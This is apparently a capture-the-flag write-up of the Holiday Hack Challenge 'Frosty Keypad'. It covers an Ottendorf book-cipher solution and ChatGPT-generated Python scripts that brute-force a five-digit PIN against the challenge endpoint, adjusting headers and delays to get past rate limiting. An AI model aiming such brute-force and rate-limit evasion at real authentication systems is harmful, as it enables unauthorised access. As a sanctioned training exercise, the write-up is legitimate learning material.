Frosty Keypad⚓︎
Difficulty:
Objective⚓︎
In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa's lost secrets?
Silver⚓︎
Marcel Nougat
Hint
National Treasure Find book with poem.
The hint indicates we should find a book. It is found in the lower right corner of the "Frosty Keypad" area and provides us with the following information:
Frosty Book
A snow-covered book lies forgotten on the ground, its pages slightly ajar as if inviting the curious to unlock the secret hidden within its well-worn spine. Read the Book...
The book reveals the poem "Twas the Night Before Christmas."
When we look at the Frosty Keypad, we see a sticky note with distinct 3-number groupings:
Having seen the movie National Treasure quite a while ago, I remembered there were several puzzles, ciphers, or riddles in it, but I did not recall the details. For that, I went to ChatGPT and asked: "What were some of the ciphers or puzzles used in the movie National Treasure?"
ChatGPT Response
In National Treasure (2004), various ciphers and puzzles are used to drive the treasure hunt narrative. Here are some notable examples:
- The Cipher on the Charlotte Description: The first clue is discovered aboard a ship called the Charlotte. It uses invisible ink (lemon juice) and references "The Declaration of Independence." Purpose: Leads the team to believe that the Declaration has a hidden treasure map.
- The Ottendorf Cipher Description: A code where numbers correspond to positions in a document (page, line, word, letter). In the film, the Silence Dogood letters written by Benjamin Franklin are used as the reference document. Purpose: Deciphers the next set of clues leading to the Liberty Bell.
- The Masonic Pyramid Description: A physical artifact with engraved symbols and puzzles, meant to point the way to treasure locations. It requires a combination of knowledge about Masonic lore and American history to interpret. Purpose: Key to unlocking the treasure’s location.
- The Invisible Map on the Declaration of Independence Description: A hidden map is revealed using special chemicals, lemon juice, and heat. Ultraviolet light is also used to make markings visible. Purpose: Provides directional clues to locate the treasure.
- The Eye of Providence Description: Symbolic references tied to Freemasonry and the Founding Fathers, such as the unfinished pyramid and the all-seeing eye on the dollar bill. Purpose: Contextualizes the story and ties the treasure to Masonic legend.
- The Time Puzzle at Independence Hall Description: A riddle involves interpreting the time on a clock tower to uncover the next clue. Purpose: Leads to the discovery of hidden markings and the next phase of the hunt.
- The Trinity Church Puzzle Description: Hidden tunnels and mechanisms in Trinity Church in New York City are revealed through careful interpretation of historical references and symbols. Purpose: The final step in finding the treasure chamber.
I decided on exploring the Ottendorf Cipher since our hint mentioned a book so I then asked ChatGPT: "In the ottendorf cipher used in national treasure, what did each number represent? page, word, letter? or line, word, letter?"
ChatGPT Response
In the Ottendorf cipher used in National Treasure, each number represented page, line, and word. Here's how it worked in the movie:
Page: The first number corresponds to the page of the reference document (in this case, the Silence Dogood letters). Line: The second number specifies the line on that page. Word: The third number identifies the word on that line. Example If the cipher were 1-3-5:
1: Page 1 of the Silence Dogood letters. 3: Line 3 on that page. 5: The 5th word in that line. This cipher system relied on having the correct reference document (the Silence Dogood letters) and required careful indexing to extract the hidden message.
With the book and the format of the numbers matching an Ottendorf Cipher, we can now look to see if page:line:word works in our instance. It seems it does not. With a look at line:word:letter, it also does not line up.
What if we try: page
:word
:letter
2:6:1 = S⚓︎
4:19:3 = A⚓︎
6:1:1 = N⚓︎
3:10:4 = T⚓︎
14:8:3 = A⚓︎
SANTA!⚓︎
Punch the numbers that correspond with each of those letters on the keypad and voila!
Achieving this objective provides us with an item called shreds.zip and the following info:
One Thousand Little Teeny Tiny Shredded Pieces of Paper
A mountain of one thousand little tiny shredded pieces of paper—each scrap whispering a secret, waiting for the right hardware hacker to piece the puzzle back together!
Gold Solution⚓︎
First thing's first - one of the hints mentions a UV light that we have to find. In the upper left area of the "Frosty Keypad" challenge section. Once we have the item, the light appears for use on the keypad and indicates that numbers 2, 6, 7, 8, and "enter" all have fingerprints on them.
But how many digits are in the code? We can assume (if you did the Silver) that it is the same, but having a look at the "Sources" tab of the Inspect tool will allow us to see in the code that it also indicates "const MaxDigits = 5"
With the knowledge that the number of combinations is limited, this helps us know that this might be able to brute-force it with a script. We can grab that from the browser's Inspect tool as well:
Now it's time to have ChatGPT generate a script to try all the 5-digit combos that include those four numbers. This required a few iterations before landing on a version that ran.
The first working script looked like this:
import requests
import itertools
# URL and target ID
url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit"
target_id = "38dda156-2f6e-4952-88a8-ed7e8b838c91"
# Characters used in the PIN
pin_characters = ['2', '6', '7', '8']
pin_length = 5
# Iterate over all combinations
for pin_tuple in itertools.product(pin_characters, repeat=pin_length):
pin = ''.join(pin_tuple)
print(f"Trying PIN: {pin}")
# Send the request
response = requests.post(url, data={'id': target_id, 'pin': pin})
# Check for success condition
if "success" in response.text.lower(): # Adjust based on actual response text
print(f"Correct PIN found: {pin}")
break
else:
print("No correct PIN found in the provided combinations.")
This did not result in any hits, but the script also didn't provide any feedback/insight as to why so we need some error handling to be added. I want a bit more information as to what's going on as it iterates through so here is the modified script:
import requests
import itertools
import time
# URL and target ID
url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit"
target_id = "38dda156-2f6e-4952-88a8-ed7e8b838c91"
# Characters used in the PIN
pin_characters = ['2', '6', '7', '8']
pin_length = 5
# Iterate over all combinations
for pin_tuple in itertools.product(pin_characters, repeat=pin_length):
pin = ''.join(pin_tuple)
print(f"Trying PIN: {pin}")
# Send the request
try:
response = requests.post(url, data={'id': target_id, 'pin': pin})
# Provide feedback for each attempt
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text[:100]}...") # Truncate response for readability
# Check for success condition
if "success" in response.text.lower(): # Adjust based on actual response text
print(f"Correct PIN found: {pin}")
break
elif "error" in response.text.lower():
print(f"Error for PIN {pin}: {response.text}")
except requests.exceptions.RequestException as e:
print(f"Request failed for PIN {pin}: {e}")
# Optional delay to avoid rate-limiting
time.sleep(0.1)
else:
print("No correct PIN found in the provided combinations.")
This version gives me the following error message when it is run:
This provides a bit more insight and I can dump this into ChatGPT and get another version of the script that will sleep for the defined time so that the UA error won't be triggered:
import requests
import itertools
import time
# URL and target ID
url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit"
target_id = "38dda156-2f6e-4952-88a8-ed7e8b838c91"
# Characters used in the PIN
pin_characters = ['2', '6', '7', '8']
pin_length = 5
# Headers for the request
headers = {
'User-Agent': 'Custom-Agent/1.0',
'Content-Type': 'application/json', # Correct Content-Type for JSON
}
# Iterate over all combinations
for pin_tuple in itertools.product(pin_characters, repeat=pin_length):
pin = ''.join(pin_tuple)
print(f"Trying PIN: {pin}")
# Prepare the JSON payload
data = {
'id': target_id,
'answer': pin
}
try:
response = requests.post(
url,
json=data, # Automatically serializes the dictionary to JSON
headers=headers
)
# Provide feedback for each attempt
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text[:200]}...") # Truncate for readability
# Check for success condition
if "success" in response.text.lower() or "correct" in response.text.lower():
print(f"Correct PIN found: {pin}")
break
except requests.exceptions.RequestException as e:
print(f"Request failed for PIN {pin}: {e}")
# Delay to respect rate limit
time.sleep(1.1)
else:
print("No correct PIN found in the provided combinations.")
Punching this answer into the keypad gets us Gold and we are ready to move to the next challenge!